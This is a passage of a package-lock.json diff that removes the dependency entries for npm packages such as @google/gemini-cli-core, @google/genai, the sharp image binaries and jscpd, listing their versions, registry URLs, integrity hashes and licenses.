"node_modules/@google/gemini-cli-core/node_modules/google-auth-library/node_modules/gcp-metadata": { - "version": "6.1.1", - "resolved": "https://registry.npmjs.org/gcp-metadata/-/gcp-metadata-6.1.1.tgz", - "integrity": "sha512-a4tiq7E0/5fTjxPAaH4jpjkSv/uCaU2p5KC6HVGrvl0cDjA8iBZv4vv1gyzlmK0ZUKqwpOyQMKzZQe3lTit77A==", - "license": "Apache-2.0", - "dependencies": { - "gaxios": "^6.1.1", - "google-logging-utils": "^0.0.2", - "json-bigint": "^1.0.0" - }, - "engines": { - "node": ">=14" - } - }, - "node_modules/@google/gemini-cli-core/node_modules/google-auth-library/node_modules/google-logging-utils": { - "version": "0.0.2", - "resolved": "https://registry.npmjs.org/google-logging-utils/-/google-logging-utils-0.0.2.tgz", - "integrity": "sha512-NEgUnEcBiP5HrPzufUkBzJOD/Sxsco3rLNo1F1TNf7ieU8ryUzBhqba8r756CjLX7rn3fHl6iLEwPYuqpoKgQQ==", - "license": "Apache-2.0", - "engines": { - "node": ">=14" - } - }, - "node_modules/@google/gemini-cli-core/node_modules/google-auth-library/node_modules/uuid": { - "version": "9.0.1", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-9.0.1.tgz", - "integrity": "sha512-b+1eJOlsR9K8HJpow9Ok3fiWOWSIcIzXodvv0rQjVoOVNpWMpxf1wZNpt4y9h10odCNrqnYp1OBzRktckBe3sA==", - "funding": [ - "https://github.com/sponsors/broofa", - "https://github.com/sponsors/ctavan" - ], - "license": "MIT", - "bin": { - "uuid": "dist/bin/uuid" - } - }, - "node_modules/@google/gemini-cli-core/node_modules/marked": { - "version": "15.0.12", - "resolved": "https://registry.npmjs.org/marked/-/marked-15.0.12.tgz", - "integrity": "sha512-8dD6FusOQSrpv9Z1rdNMdlSgQOIP880DHqnohobOmYLElGEqAL/JvxvuxZO16r4HtjTlfPRDC1hbvxC9dPN2nA==", - "license": "MIT", - "bin": { - "marked": "bin/marked.js" - }, - "engines": { - "node": ">= 18" - } - }, - "node_modules/@google/gemini-cli-core/node_modules/mime": { - "version": "4.0.7", - "resolved": "https://registry.npmjs.org/mime/-/mime-4.0.7.tgz", - "integrity": "sha512-2OfDPL+e03E0LrXaGYOtTFIYhiuzep94NSsuhrNULq+stylcJedcHdzHtz0atMUuGwJfFYs0YL5xeC/Ca2x0eQ==", - "funding": [ - "https://github.com/sponsors/broofa" - ], - "license": "MIT", - "bin": { - "mime": "bin/cli.js" - }, - "engines": { - "node": ">=16" - } - }, - "node_modules/@google/gemini-cli-core/node_modules/node-fetch": { - "version": "2.7.0", - "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.7.0.tgz", - "integrity": "sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==", - "license": "MIT", - "dependencies": { - "whatwg-url": "^5.0.0" - }, - "engines": { - "node": "4.x || >=6.0.0" - }, - "peerDependencies": { - "encoding": "^0.1.0" - }, - "peerDependenciesMeta": { - "encoding": { - "optional": true - } - } - }, - "node_modules/@google/gemini-cli-core/node_modules/undici": { - "version": "7.25.0", - "resolved": "https://registry.npmjs.org/undici/-/undici-7.25.0.tgz", - "integrity": "sha512-xXnp4kTyor2Zq+J1FfPI6Eq3ew5h6Vl0F/8d9XU5zZQf1tX9s2Su1/3PiMmUANFULpmksxkClamIZcaUqryHsQ==", - "license": "MIT", - "engines": { - "node": ">=20.18.1" - } - }, - "node_modules/@google/gemini-cli-core/node_modules/uuid": { - "version": "13.0.0", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-13.0.0.tgz", - "integrity": "sha512-XQegIaBTVUjSHliKqcnFqYypAd4S+WCYt5NIeRs6w/UAry7z8Y9j5ZwRRL4kzq9U3sD6v+85er9FvkEaBpji2w==", - "funding": [ - "https://github.com/sponsors/broofa", - "https://github.com/sponsors/ctavan" - ], - "license": "MIT", - "bin": { - "uuid": "dist-node/bin/uuid" - } - }, - "node_modules/@google/gemini-cli-core/node_modules/zod": { - "version": "3.25.76", - "resolved": "https://registry.npmjs.org/zod/-/zod-3.25.76.tgz", - "integrity": "sha512-gzUt/qt81nXsFGKIFcC3YnfEAx5NkunCfnDlvuBSSFS02bcXu4Lmea0AFIUwbLWxWPx3d9p8S5QoaujKcNQxcQ==", - "license": "MIT", - "funding": { - "url": "https://github.com/sponsors/colinhacks" - } - }, - "node_modules/@google/genai": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/@google/genai/-/genai-2.0.1.tgz", - "integrity": "sha512-trxxbVePM9J8Cuni5x7+xvApoqb2y6Zk27/wugjT2cuwHOT78nFGdf/Ni29MkDxzWwrj90OQpno1Ana6dm3D2A==", - "hasInstallScript": true, - "license": "Apache-2.0", - "dependencies": { - "google-auth-library": "^10.3.0", - "p-retry": "^4.6.2", - "protobufjs": "^7.5.4", - "ws": "^8.18.0" - }, - "engines": { - "node": ">=20.0.0" - }, - "peerDependencies": { - "@modelcontextprotocol/sdk": "^1.25.2" - }, - "peerDependenciesMeta": { - "@modelcontextprotocol/sdk": { - "optional": true - } - } - }, - "node_modules/@grpc/grpc-js": { - "version": "1.14.3", - "resolved": "https://registry.npmjs.org/@grpc/grpc-js/-/grpc-js-1.14.3.tgz", - "integrity": "sha512-Iq8QQQ/7X3Sac15oB6p0FmUg/klxQvXLeileoqrTRGJYLV+/9tubbr9ipz0GKHjmXVsgFPo/+W+2cA8eNcR+XA==", - "license": "Apache-2.0", - "dependencies": { - "@grpc/proto-loader": "^0.8.0", - "@js-sdsl/ordered-map": "^4.4.2" - }, - "engines": { - "node": ">=12.10.0" - } - }, - "node_modules/@grpc/proto-loader": { - "version": "0.8.0", - "resolved": "https://registry.npmjs.org/@grpc/proto-loader/-/proto-loader-0.8.0.tgz", - "integrity": "sha512-rc1hOQtjIWGxcxpb9aHAfLpIctjEnsDehj0DAiVfBlmT84uvR0uUtN2hEi/ecvWVjXUGf5qPF4qEgiLOx1YIMQ==", - "license": "Apache-2.0", - "dependencies": { - "lodash.camelcase": "^4.3.0", - "long": "^5.0.0", - "protobufjs": "^7.5.3", - "yargs": "^17.7.2" - }, - "bin": { - "proto-loader-gen-types": "build/bin/proto-loader-gen-types.js" - }, - "engines": { - "node": ">=6" - } - }, - "node_modules/@hono/node-server": { - "version": "1.19.13", - "resolved": "https://registry.npmjs.org/@hono/node-server/-/node-server-1.19.13.tgz", - "integrity": "sha512-TsQLe4i2gvoTtrHje625ngThGBySOgSK3Xo2XRYOdqGN1teR8+I7vchQC46uLJi8OF62YTYA3AhSpumtkhsaKQ==", - "license": "MIT", - "engines": { - "node": ">=18.14.1" - }, - "peerDependencies": { - "hono": "^4" - } - }, - "node_modules/@iarna/toml": { - "version": "2.2.5", - "resolved": "https://registry.npmjs.org/@iarna/toml/-/toml-2.2.5.tgz", - "integrity": "sha512-trnsAYxU3xnS1gPHPyU961coFyLkh4gAD/0zQ5mymY4yOZ+CYvsPqUbOFSw0aDM4y0tV7tiFxL/1XfXPNC6IPg==", - "license": "ISC" - }, - "node_modules/@img/colour": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/@img/colour/-/colour-1.1.0.tgz", - "integrity": "sha512-Td76q7j57o/tLVdgS746cYARfSyxk8iEfRxewL9h4OMzYhbW4TAcppl0mT4eyqXddh6L/jwoM75mo7ixa/pCeQ==", - "license": "MIT", - "engines": { - "node": ">=18" - } - }, - "node_modules/@img/sharp-darwin-arm64": { - "version": "0.34.5", - "resolved": "https://registry.npmjs.org/@img/sharp-darwin-arm64/-/sharp-darwin-arm64-0.34.5.tgz", - "integrity": "sha512-imtQ3WMJXbMY4fxb/Ndp6HBTNVtWCUI0WdobyheGf5+ad6xX8VIDO8u2xE4qc/fr08CKG/7dDseFtn6M6g/r3w==", - "cpu": [ - "arm64" - ], - "license": "Apache-2.0", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": "^18.17.0 || ^20.3.0 || >=21.0.0" - }, - "funding": { - "url": "https://opencollective.com/libvips" - }, - "optionalDependencies": { - "@img/sharp-libvips-darwin-arm64": "1.2.4" - } - }, - "node_modules/@img/sharp-darwin-x64": { - "version": "0.34.5", - "resolved": "https://registry.npmjs.org/@img/sharp-darwin-x64/-/sharp-darwin-x64-0.34.5.tgz", - "integrity": "sha512-YNEFAF/4KQ/PeW0N+r+aVVsoIY0/qxxikF2SWdp+NRkmMB7y9LBZAVqQ4yhGCm/H3H270OSykqmQMKLBhBJDEw==", - "cpu": [ - "x64" - ], - "license": "Apache-2.0", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": "^18.17.0 || ^20.3.0 || >=21.0.0" - }, - "funding": { - "url": "https://opencollective.com/libvips" - }, - "optionalDependencies": { - "@img/sharp-libvips-darwin-x64": "1.2.4" - } - }, - "node_modules/@img/sharp-libvips-darwin-arm64": { - "version": "1.2.4", - "resolved": "https://registry.npmjs.org/@img/sharp-libvips-darwin-arm64/-/sharp-libvips-darwin-arm64-1.2.4.tgz", - "integrity": "sha512-zqjjo7RatFfFoP0MkQ51jfuFZBnVE2pRiaydKJ1G/rHZvnsrHAOcQALIi9sA5co5xenQdTugCvtb1cuf78Vf4g==", - "cpu": [ - "arm64" - ], - "license": "LGPL-3.0-or-later", - "optional": true, - "os": [ - "darwin" - ], - "funding": { - "url": "https://opencollective.com/libvips" - } - }, - "node_modules/@img/sharp-libvips-darwin-x64": { - "version": "1.2.4", - "resolved": "https://registry.npmjs.org/@img/sharp-libvips-darwin-x64/-/sharp-libvips-darwin-x64-1.2.4.tgz", - "integrity": "sha512-1IOd5xfVhlGwX+zXv2N93k0yMONvUlANylbJw1eTah8K/Jtpi15KC+WSiaX/nBmbm2HxRM1gZ0nSdjSsrZbGKg==", - "cpu": [ - "x64" - ], - "license": "LGPL-3.0-or-later", - "optional": true, - "os": [ - "darwin" - ], - "funding": { - "url": "https://opencollective.com/libvips" - } - }, - "node_modules/@img/sharp-libvips-linux-arm": { - "version": "1.2.4", - "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-arm/-/sharp-libvips-linux-arm-1.2.4.tgz", - "integrity": "sha512-bFI7xcKFELdiNCVov8e44Ia4u2byA+l3XtsAj+Q8tfCwO6BQ8iDojYdvoPMqsKDkuoOo+X6HZA0s0q11ANMQ8A==", - "cpu": [ - "arm" - ], - "license": "LGPL-3.0-or-later", - "optional": true, - "os": [ - "linux" - ], - "funding": { - "url": "https://opencollective.com/libvips" - } - }, - "node_modules/@img/sharp-libvips-linux-arm64": { - "version": "1.2.4", - "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-arm64/-/sharp-libvips-linux-arm64-1.2.4.tgz", - "integrity": "sha512-excjX8DfsIcJ10x1Kzr4RcWe1edC9PquDRRPx3YVCvQv+U5p7Yin2s32ftzikXojb1PIFc/9Mt28/y+iRklkrw==", - "cpu": [ - "arm64" - ], - "license": "LGPL-3.0-or-later", - "optional": true, - "os": [ - "linux" - ], - "funding": { - "url": "https://opencollective.com/libvips" - } - }, - "node_modules/@img/sharp-libvips-linux-ppc64": { - "version": "1.2.4", - "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-ppc64/-/sharp-libvips-linux-ppc64-1.2.4.tgz", - "integrity": "sha512-FMuvGijLDYG6lW+b/UvyilUWu5Ayu+3r2d1S8notiGCIyYU/76eig1UfMmkZ7vwgOrzKzlQbFSuQfgm7GYUPpA==", - "cpu": [ - "ppc64" - ], - "license": "LGPL-3.0-or-later", - "optional": true, - "os": [ - "linux" - ], - "funding": { - "url": "https://opencollective.com/libvips" - } - }, - "node_modules/@img/sharp-libvips-linux-riscv64": { - "version": "1.2.4", - "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-riscv64/-/sharp-libvips-linux-riscv64-1.2.4.tgz", - "integrity": "sha512-oVDbcR4zUC0ce82teubSm+x6ETixtKZBh/qbREIOcI3cULzDyb18Sr/Wcyx7NRQeQzOiHTNbZFF1UwPS2scyGA==", - "cpu": [ - "riscv64" - ], - "license": "LGPL-3.0-or-later", - "optional": true, - "os": [ - "linux" - ], - "funding": { - "url": "https://opencollective.com/libvips" - } - }, - "node_modules/@img/sharp-libvips-linux-s390x": { - "version": "1.2.4", - "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-s390x/-/sharp-libvips-linux-s390x-1.2.4.tgz", - "integrity": "sha512-qmp9VrzgPgMoGZyPvrQHqk02uyjA0/QrTO26Tqk6l4ZV0MPWIW6LTkqOIov+J1yEu7MbFQaDpwdwJKhbJvuRxQ==", - "cpu": [ - "s390x" - ], - "license": "LGPL-3.0-or-later", - "optional": true, - "os": [ - "linux" - ], - "funding": { - "url": "https://opencollective.com/libvips" - } - }, - "node_modules/@img/sharp-libvips-linux-x64": { - "version": "1.2.4", - "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-x64/-/sharp-libvips-linux-x64-1.2.4.tgz", - "integrity": "sha512-tJxiiLsmHc9Ax1bz3oaOYBURTXGIRDODBqhveVHonrHJ9/+k89qbLl0bcJns+e4t4rvaNBxaEZsFtSfAdquPrw==", - "cpu": [ - "x64" - ], - "license": "LGPL-3.0-or-later", - "optional": true, - "os": [ - "linux" - ], - "funding": { - "url": "https://opencollective.com/libvips" - } - }, - "node_modules/@img/sharp-libvips-linuxmusl-arm64": { - "version": "1.2.4", - "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linuxmusl-arm64/-/sharp-libvips-linuxmusl-arm64-1.2.4.tgz", - "integrity": "sha512-FVQHuwx1IIuNow9QAbYUzJ+En8KcVm9Lk5+uGUQJHaZmMECZmOlix9HnH7n1TRkXMS0pGxIJokIVB9SuqZGGXw==", - "cpu": [ - "arm64" - ], - "license": "LGPL-3.0-or-later", - "optional": true, - "os": [ - "linux" - ], - "funding": { - "url": "https://opencollective.com/libvips" - } - }, - "node_modules/@img/sharp-libvips-linuxmusl-x64": { - "version": "1.2.4", - "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linuxmusl-x64/-/sharp-libvips-linuxmusl-x64-1.2.4.tgz", - "integrity": "sha512-+LpyBk7L44ZIXwz/VYfglaX/okxezESc6UxDSoyo2Ks6Jxc4Y7sGjpgU9s4PMgqgjj1gZCylTieNamqA1MF7Dg==", - "cpu": [ - "x64" - ], - "license": "LGPL-3.0-or-later", - "optional": true, - "os": [ - "linux" - ], - "funding": { - "url": "https://opencollective.com/libvips" - } - }, - "node_modules/@img/sharp-linux-arm": { - "version": "0.34.5", - "resolved": "https://registry.npmjs.org/@img/sharp-linux-arm/-/sharp-linux-arm-0.34.5.tgz", - "integrity": "sha512-9dLqsvwtg1uuXBGZKsxem9595+ujv0sJ6Vi8wcTANSFpwV/GONat5eCkzQo/1O6zRIkh0m/8+5BjrRr7jDUSZw==", - "cpu": [ - "arm" - ], - "license": "Apache-2.0", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": "^18.17.0 || ^20.3.0 || >=21.0.0" - }, - "funding": { - "url": "https://opencollective.com/libvips" - }, - "optionalDependencies": { - "@img/sharp-libvips-linux-arm": "1.2.4" - } - }, - "node_modules/@img/sharp-linux-arm64": { - "version": "0.34.5", - "resolved": "https://registry.npmjs.org/@img/sharp-linux-arm64/-/sharp-linux-arm64-0.34.5.tgz", - "integrity": "sha512-bKQzaJRY/bkPOXyKx5EVup7qkaojECG6NLYswgktOZjaXecSAeCWiZwwiFf3/Y+O1HrauiE3FVsGxFg8c24rZg==", - "cpu": [ - "arm64" - ], - "license": "Apache-2.0", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": "^18.17.0 || ^20.3.0 || >=21.0.0" - }, - "funding": { - "url": "https://opencollective.com/libvips" - }, - "optionalDependencies": { - "@img/sharp-libvips-linux-arm64": "1.2.4" - } - }, - "node_modules/@img/sharp-linux-ppc64": { - "version": "0.34.5", - "resolved": "https://registry.npmjs.org/@img/sharp-linux-ppc64/-/sharp-linux-ppc64-0.34.5.tgz", - "integrity": "sha512-7zznwNaqW6YtsfrGGDA6BRkISKAAE1Jo0QdpNYXNMHu2+0dTrPflTLNkpc8l7MUP5M16ZJcUvysVWWrMefZquA==", - "cpu": [ - "ppc64" - ], - "license": "Apache-2.0", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": "^18.17.0 || ^20.3.0 || >=21.0.0" - }, - "funding": { - "url": "https://opencollective.com/libvips" - }, - "optionalDependencies": { - "@img/sharp-libvips-linux-ppc64": "1.2.4" - } - }, - "node_modules/@img/sharp-linux-riscv64": { - "version": "0.34.5", - "resolved": "https://registry.npmjs.org/@img/sharp-linux-riscv64/-/sharp-linux-riscv64-0.34.5.tgz", - "integrity": "sha512-51gJuLPTKa7piYPaVs8GmByo7/U7/7TZOq+cnXJIHZKavIRHAP77e3N2HEl3dgiqdD/w0yUfiJnII77PuDDFdw==", - "cpu": [ - "riscv64" - ], - "license": "Apache-2.0", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": "^18.17.0 || ^20.3.0 || >=21.0.0" - }, - "funding": { - "url": "https://opencollective.com/libvips" - }, - "optionalDependencies": { - "@img/sharp-libvips-linux-riscv64": "1.2.4" - } - }, - "node_modules/@img/sharp-linux-s390x": { - "version": "0.34.5", - "resolved": "https://registry.npmjs.org/@img/sharp-linux-s390x/-/sharp-linux-s390x-0.34.5.tgz", - "integrity": "sha512-nQtCk0PdKfho3eC5MrbQoigJ2gd1CgddUMkabUj+rBevs8tZ2cULOx46E7oyX+04WGfABgIwmMC0VqieTiR4jg==", - "cpu": [ - "s390x" - ], - "license": "Apache-2.0", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": "^18.17.0 || ^20.3.0 || >=21.0.0" - }, - "funding": { - "url": "https://opencollective.com/libvips" - }, - "optionalDependencies": { - "@img/sharp-libvips-linux-s390x": "1.2.4" - } - }, - "node_modules/@img/sharp-linux-x64": { - "version": "0.34.5", - "resolved": "https://registry.npmjs.org/@img/sharp-linux-x64/-/sharp-linux-x64-0.34.5.tgz", - "integrity": "sha512-MEzd8HPKxVxVenwAa+JRPwEC7QFjoPWuS5NZnBt6B3pu7EG2Ge0id1oLHZpPJdn3OQK+BQDiw9zStiHBTJQQQQ==", - "cpu": [ - "x64" - ], - "license": "Apache-2.0", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": "^18.17.0 || ^20.3.0 || >=21.0.0" - }, - "funding": { - "url": "https://opencollective.com/libvips" - }, - "optionalDependencies": { - "@img/sharp-libvips-linux-x64": "1.2.4" - } - }, - "node_modules/@img/sharp-linuxmusl-arm64": { - "version": "0.34.5", - "resolved": "https://registry.npmjs.org/@img/sharp-linuxmusl-arm64/-/sharp-linuxmusl-arm64-0.34.5.tgz", - "integrity": "sha512-fprJR6GtRsMt6Kyfq44IsChVZeGN97gTD331weR1ex1c1rypDEABN6Tm2xa1wE6lYb5DdEnk03NZPqA7Id21yg==", - "cpu": [ - "arm64" - ], - "license": "Apache-2.0", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": "^18.17.0 || ^20.3.0 || >=21.0.0" - }, - "funding": { - "url": "https://opencollective.com/libvips" - }, - "optionalDependencies": { - "@img/sharp-libvips-linuxmusl-arm64": "1.2.4" - } - }, - "node_modules/@img/sharp-linuxmusl-x64": { - "version": "0.34.5", - "resolved": "https://registry.npmjs.org/@img/sharp-linuxmusl-x64/-/sharp-linuxmusl-x64-0.34.5.tgz", - "integrity": "sha512-Jg8wNT1MUzIvhBFxViqrEhWDGzqymo3sV7z7ZsaWbZNDLXRJZoRGrjulp60YYtV4wfY8VIKcWidjojlLcWrd8Q==", - "cpu": [ - "x64" - ], - "license": "Apache-2.0", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": "^18.17.0 || ^20.3.0 || >=21.0.0" - }, - "funding": { - "url": "https://opencollective.com/libvips" - }, - "optionalDependencies": { - "@img/sharp-libvips-linuxmusl-x64": "1.2.4" - } - }, - "node_modules/@img/sharp-wasm32": { - "version": "0.34.5", - "resolved": "https://registry.npmjs.org/@img/sharp-wasm32/-/sharp-wasm32-0.34.5.tgz", - "integrity": "sha512-OdWTEiVkY2PHwqkbBI8frFxQQFekHaSSkUIJkwzclWZe64O1X4UlUjqqqLaPbUpMOQk6FBu/HtlGXNblIs0huw==", - "cpu": [ - "wasm32" - ], - "license": "Apache-2.0 AND LGPL-3.0-or-later AND MIT", - "optional": true, - "dependencies": { - "@emnapi/runtime": "^1.7.0" - }, - "engines": { - "node": "^18.17.0 || ^20.3.0 || >=21.0.0" - }, - "funding": { - "url": "https://opencollective.com/libvips" - } - }, - "node_modules/@img/sharp-win32-arm64": { - "version": "0.34.5", - "resolved": "https://registry.npmjs.org/@img/sharp-win32-arm64/-/sharp-win32-arm64-0.34.5.tgz", - "integrity": "sha512-WQ3AgWCWYSb2yt+IG8mnC6Jdk9Whs7O0gxphblsLvdhSpSTtmu69ZG1Gkb6NuvxsNACwiPV6cNSZNzt0KPsw7g==", - "cpu": [ - "arm64" - ], - "license": "Apache-2.0 AND LGPL-3.0-or-later", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": "^18.17.0 || ^20.3.0 || >=21.0.0" - }, - "funding": { - "url": "https://opencollective.com/libvips" - } - }, - "node_modules/@img/sharp-win32-ia32": { - "version": "0.34.5", - "resolved": "https://registry.npmjs.org/@img/sharp-win32-ia32/-/sharp-win32-ia32-0.34.5.tgz", - "integrity": "sha512-FV9m/7NmeCmSHDD5j4+4pNI8Cp3aW+JvLoXcTUo0IqyjSfAZJ8dIUmijx1qaJsIiU+Hosw6xM5KijAWRJCSgNg==", - "cpu": [ - "ia32" - ], - "license": "Apache-2.0 AND LGPL-3.0-or-later", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": "^18.17.0 || ^20.3.0 || >=21.0.0" - }, - "funding": { - "url": "https://opencollective.com/libvips" - } - }, - "node_modules/@img/sharp-win32-x64": { - "version": "0.34.5", - "resolved": "https://registry.npmjs.org/@img/sharp-win32-x64/-/sharp-win32-x64-0.34.5.tgz", - "integrity": "sha512-+29YMsqY2/9eFEiW93eqWnuLcWcufowXewwSNIT6UwZdUUCrM3oFjMWH/Z6/TMmb4hlFenmfAVbpWeup2jryCw==", - "cpu": [ - "x64" - ], - "license": "Apache-2.0 AND LGPL-3.0-or-later", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": "^18.17.0 || ^20.3.0 || >=21.0.0" - }, - "funding": { - "url": "https://opencollective.com/libvips" - } - }, - "node_modules/@isaacs/cliui": { - "version": "9.0.0", - "resolved": "https://registry.npmjs.org/@isaacs/cliui/-/cliui-9.0.0.tgz", - "integrity": "sha512-AokJm4tuBHillT+FpMtxQ60n8ObyXBatq7jD2/JA9dxbDDokKQm8KMht5ibGzLVU9IJDIKK4TPKgMHEYMn3lMg==", - "license": "BlueOak-1.0.0", - "engines": { - "node": ">=18" - } - }, - "node_modules/@jridgewell/resolve-uri": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", - "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6.0.0" - } - }, - "node_modules/@jridgewell/sourcemap-codec": { - "version": "1.5.5", - "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", - "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==", - "dev": true, - "license": "MIT" - }, - "node_modules/@jridgewell/trace-mapping": { - "version": "0.3.31", - "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz", - "integrity": "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@jridgewell/resolve-uri": "^3.1.0", - "@jridgewell/sourcemap-codec": "^1.4.14" - } - }, - "node_modules/@js-sdsl/ordered-map": { - "version": "4.4.2", - "resolved": "https://registry.npmjs.org/@js-sdsl/ordered-map/-/ordered-map-4.4.2.tgz", - "integrity": "sha512-iUKgm52T8HOE/makSxjqoWhe95ZJA1/G1sYsGev2JDKUSS14KAgg1LHb+Ba+IPow0xflbnSkOsZcO08C7w1gYw==", - "license": "MIT", - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/js-sdsl" - } - }, - "node_modules/@jscpd/badge-reporter": { - "version": "4.0.5", - "resolved": "https://registry.npmjs.org/@jscpd/badge-reporter/-/badge-reporter-4.0.5.tgz", - "integrity": "sha512-SLVhP00R9lkQ//Ivaanfm7k0L9sewpBven670kk1uGec2SWUOa7MVQcuad/TV59KEZ73UIC1lXvi6O9hAnbpUw==", - "dev": true, - "license": "MIT", - "dependencies": { - "badgen": "^3.2.3", - "colors": "^1.4.0", - "fs-extra": "^11.2.0" - } - }, - "node_modules/@jscpd/core": { - "version": "4.0.5", - "resolved": "https://registry.npmjs.org/@jscpd/core/-/core-4.0.5.tgz", - "integrity": "sha512-Udvym21nWzxjYRVXwwpYNBqZ6b50QV2zHN3fFNzOPPg4cfQVYOZerILB7xNDUsXHC1PCr/N52Tq3q7AElvjWWA==", - "dev": true, - "license": "MIT", - "dependencies": { - "eventemitter3": "^5.0.1" - } - }, - "node_modules/@jscpd/finder": { - "version": "4.0.5", - "resolved": "https://registry.npmjs.org/@jscpd/finder/-/finder-4.0.5.tgz", - "integrity": "sha512-/2VkRoVrrfya+51sitZo5I9MdwsRaPKB8X3L3khAYoHFXk4L/mUuG81RmGazDHjUIGg22ItlkQtwzorNZ2+aPw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@jscpd/core": "4.0.5", - "@jscpd/tokenizer": "4.0.5", - "blamer": "^1.0.6", - "bytes": "^3.1.2", - "cli-table3": "^0.6.5", - "colors": "^1.4.0", - "fast-glob": "^3.3.2", - "fs-extra": "^11.2.0", - "markdown-table": "^2.0.0", - "pug": "^3.0.3" - } - }, - "node_modules/@jscpd/html-reporter": { - "version": "4.0.5", - "resolved": "https://registry.npmjs.org/@jscpd/html-reporter/-/html-reporter-4.0.5.tgz", - "integrity": "sha512-drK2J8KyPIW9wvaElSIobZFp4dBO9GA++JW4gx3oihvLdDSp8qSo/CNqH47Dw0XkjQTxND3j/+Wz5JWvYRBgFQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "colors": "1.4.0", - "fs-extra": "^11.2.0", - "pug": "^3.0.3" - } - }, - "node_modules/@jscpd/tokenizer": { - "version": "4.0.5", - "resolved": "https://registry.npmjs.org/@jscpd/tokenizer/-/tokenizer-4.0.5.tgz", - "integrity": "sha512-WzRujQtN5WedxZVDKuoanxmKAFrxcLrHpcA6kaM4z8AhGtWXZ325yseqgL5TZ8OK7Auwu7kQLlqhfk05fGYG7A==", - "dev": true, - "license": "MIT", - "dependencies": { - "@jscpd/core": "4.0.5", - "reprism": "^0.0.11", - "spark-md5": "^3.0.2" - } - }, - "node_modules/@kwsites/file-exists": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/@kwsites/file-exists/-/file-exists-1.1.1.tgz", - "integrity": "sha512-m9/5YGR18lIwxSFDwfE3oA7bWuq9kdau6ugN4H2rJeyhFQZcG9AgSHkQtSD15a8WvTgfz9aikZMrKPHvbpqFiw==", - "license": "MIT", - "dependencies": { - "debug": "^4.1.1" - } - }, - "node_modules/@kwsites/promise-deferred": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/@kwsites/promise-deferred/-/promise-deferred-1.1.1.tgz", - "integrity": "sha512-GaHYm+c0O9MjZRu0ongGBRbinu8gVAMd2UZjji6jVmqKtZluZnptXGWhz1E8j8D2HJ3f/yMxKAUC0b+57wncIw==", - "license": "MIT" - }, - "node_modules/@logtape/file": { - "version": "2.0.7", - "resolved": "https://registry.npmjs.org/@logtape/file/-/file-2.0.7.tgz", - "integrity": "sha512-xLTtspMP0Nax6r8FdCo5K5fljf42/CR8joS+xxqrWiGi1wRfuqWZ+lhk560hWznSLblB1nIOtkruNI83cV3l+Q==", - "funding": [ - "https://github.com/sponsors/dahlia" - ], - "license": "MIT", - "peerDependencies": { - "@logtape/logtape": "^2.0.7" - } - }, - "node_modules/@logtape/logtape": { - "version": "2.0.7", - "resolved": "https://registry.npmjs.org/@logtape/logtape/-/logtape-2.0.7.tgz", - "integrity": "sha512-SUkjkEIfQ3zCadlLi8rfGfe4l/JRKNbp248bfLeowyUFs9KZME/k8y+5sugWYZet/gMYnmwCc9xa3J+kjDjSSQ==", - "funding": [ - "https://github.com/sponsors/dahlia" - ], - "license": "MIT" - }, - "node_modules/@logtape/pretty": { - "version": "2.0.7", - "resolved": "https://registry.npmjs.org/@logtape/pretty/-/pretty-2.0.7.tgz", - "integrity": "sha512-FluT3vEBsZcK4cIuPAUTK6+RiAGQgnvFU1J76WJ0NJMReoDb4wbd2R/vO/n9SxND676hELgdP4X/RC82w9ieeg==", - "funding": [ - "https://github.com/sponsors/dahlia" - ], - "license": "MIT", - "peerDependencies": { - "@logtape/logtape": "^2.0.7" - } - }, - "node_modules/@logtape/redaction": { - "version": "2.0.7", - "resolved": "https://registry.npmjs.org/@logtape/redaction/-/redaction-2.0.7.tgz", - "integrity": "sha512-HTRjpCgVkYblgWFvFIFv7YYlDirzsnJhLoL2R3uchNXRR8jzXtCHeOo8faU03BMh3/caqehF5iWOOV9byMJPIA==", - "funding": [ - 